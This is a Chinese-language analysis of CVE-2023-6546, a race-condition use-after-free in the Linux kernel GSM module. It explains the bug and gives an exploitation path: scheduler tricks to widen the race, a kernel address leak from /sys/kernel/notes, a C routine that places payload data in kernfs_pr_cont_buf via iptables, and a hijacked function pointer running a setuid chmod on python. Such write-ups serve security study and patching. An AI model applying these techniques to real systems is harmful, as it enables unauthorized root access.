CVE-2023-6546 Linux 内核 GSM 模块条件竞争漏洞分析与利用
字数 1630 2025-08-24 07:48:33
Linux 内核 GSM 模块条件竞争漏洞(CVE-2023-6546)分析与利用
漏洞概述
CVE-2023-6546 是 Linux 内核 GSM 模块中的一个条件竞争漏洞,存在于 gsmld_config 函数中。该漏洞可导致 Use-After-Free (UAF) 情况,攻击者可以利用此漏洞提升权限。
漏洞分析
漏洞代码路径
- 用户态对 tty fd 发起
ioctl系统调用时会进入:gsmld_ioctl→gsmld_config
static int gsmld_config(struct tty_struct *tty, struct gsm_mux *gsm, struct gsm_config *c) {
// [0] 根据 c 设置 need_close 和 need_restart
if (need_close || need_restart) {
int ret;
ret = gsm_disconnect(gsm); // [1] 进入 gsm_disconnect
if (ret)
return ret;
}
if (need_restart)
gsm_cleanup_mux(gsm);
if (need_restart)
gsm_activate_mux(gsm);
return 0;
}
- 通过控制
c的值可以让need_restart = 1,然后会进入gsm_disconnect处理:
static int gsm_disconnect(struct gsm_mux *gsm) {
struct gsm_dlci *dlci = gsm->dlci[0];
struct gsm_control *gc;
if (!dlci)
return 0;
/* In theory disconnecting DLCI 0 is sufficient but for some modems this is apparently not the case. */
gc = gsm_control_send(gsm, CMD_CLD, NULL, 0);
if (gc)
gsm_control_wait(gsm, gc);
del_timer_sync(&gsm->t2_timer); /* Now we are sure T2 has stopped */
gsm_dlci_begin_close(dlci);
wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);
if (signal_pending(current))
return -EINTR;
return 0;
}
漏洞触发逻辑
- 假设进入函数时有两个 fd 分别为 master 和 slave (master_fd 和 slave_fd)
gsm_control_send向 master_fd 发送请求gsm_control_wait等待 master 的响应- 通过
wait_event_interruptible等待 dlci 的状态变成 DLCI_CLOSED - 执行
gsm_disconnect后会进入gsm_cleanup_mux→gsm_dlci_release,会把gsm->dlci[0]释放掉
竞争条件
如果两个线程同时进入了 gsm_disconnect:
- 线程 B 还在使用 dlci 的过程中
- 线程 A 释放 dlci
- 导致 UAF (Use-After-Free) 情况
漏洞利用
利用思路
- 通过漏洞实现 dlci 对象的 UAF
- 在释放 dlci 后通过堆喷占位 (使用
add_key方式) - 劫持
dlci->gsm->output执行内核函数
关键挑战与解决方案
1. 扩大时间窗口
需要提升 wait_event_interruptible 和 dlci->gsm->output 之间的时间窗口,利用 CPU 调度特性:
- 新增一个线程 C 和线程 B 绑定到同一个 CPU (如 CPU 0)
- 设置线程 B 的调度优先级为 IDLE,线程 C 调度优先级为默认的 NORMAL
- 在线程 B 卡在
gsm_control_wait等待 master 的响应时,通知线程 C 进入死循环 - 目标进程主动让出 CPU,利用调度优先级扩大主动让出的时间窗口
由于线程 C 的调度优先级大于线程 B,线程 B 会长时间拿不到 CPU,从而提升了时间窗口。
2. 获取内核镜像地址
在 Ubuntu 系统中,/sys/kernel/notes 文件权限为用户可读,里面包含一些内核镜像地址,可用于计算内核镜像基地址。
示例:
$ xxd /sys/kernel/notes
00000000: 0400 0000 0600 0000 0600 0000 5865 6e00 ..........Xen.
00000010: 6c69 6e75 7800 0000 0400 0000 0400 0000 linux.........
...
3. 在内核地址布置数据
利用 cgroup filter 在 kernfs_pr_cont_buf 中放置数据。kernfs_pr_cont_buf 的地址可以通过内核镜像的基地址计算。
布置数据的代码:
static void prepare_smap_bypass(char *payload) {
pid_t pid;
int fd;
char buf[128];
int a[2];
int b[2];
char c;
char path[128];
if (pipe(a) < 0) die("pipe");
if (pipe(b) < 0) die("pipe");
pid = fork();
if (pid < 0) die("fork");
if (pid == 0) {
unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET);
write(a[1], &c, 1);
read(b[0], &c, 1);
system("mount -t tmpfs tmpfs /run");
fd = open("/dev/null", O_RDONLY);
if (fd < 0) die("open");
if (dup2(fd, 2) < 0) die("dup2");
execl("/sbin/iptables", "iptables", "-A", "OUTPUT", "-m", "cgroup",
"--path", payload, "-j", "LOG", NULL);
exit(1);
}
read(a[0], &c, 1);
snprintf(path, sizeof path, "/proc/%u/setgroups", pid);
fd = open(path, O_RDWR);
if (!fd) die("open");
strcpy(buf, "deny");
if (write(fd, buf, strlen(buf)) != strlen(buf)) die("write");
close(fd);
snprintf(path, sizeof path, "/proc/%u/uid_map", pid);
fd = open(path, O_RDWR);
if (fd < 0) die("open");
snprintf(buf, sizeof buf, "0 %d 1", getuid());
if (write(fd, buf, strlen(buf)) != strlen(buf)) die("write");
close(fd);
snprintf(path, sizeof path, "/proc/%u/gid_map", pid);
fd = open(path, O_RDWR);
if (fd < 0) die("open");
snprintf(buf, sizeof buf, "0 %d 1", getgid());
if (write(fd, buf, strlen(buf)) != strlen(buf)) die("write");
close(fd);
write(b[1], &c, 1);
close(a[0]);
close(a[1]);
close(b[0]);
close(b[1]);
wait(NULL);
}
布局后查看 kernfs_pr_cont_buf 的值:
(gdb) x/400xg kernfs_pr_cont_buf
0xffffffff8336eac0 <kernfs_pr_cont_buf>: 0x0000000000000000 0x0000000000000000
0xffffffff8336ead0 <kernfs_pr_cont_buf+16>: 0x0000000000000000 0x0000000000000000
...
0xffffffff8336eb30 <kernfs_pr_cont_buf+112>: 0x642f630062006100 0x4343434343434343
0xffffffff8336eb40 <kernfs_pr_cont_buf+128>: 0x4343434343434343 0x4343434343434343
0xffffffff8336eb50 <kernfs_pr_cont_buf+144>: 0xffffffff81ffaee0 0x0000000000000000
...
最终利用
- 劫持
dlci->gsm到kernfs_pr_cont_buf - 控制
dlci->gsm->output(gsm, ...)函数指针调用为run_cmd("/bin/chmod u+s /usr/bin/python") - 实现提权
技术总结
-
地址泄露技巧:系统的
/sys、/proc等目录下经常出现地址泄露问题,这个技巧可以在其他漏洞利用中使用。 -
内核数据布置:通过
kernfs_pr_cont_buf布局数据是一个通用思路,在劫持对象指针时非常有用:- 可以少泄露一次堆地址
- 只要能泄露内核镜像地址,就能利用内核对全局变量的修改,在内核地址布置数据
-
调度优先级利用:利用调度优先级扩大时间窗口是比较常用的技术思路。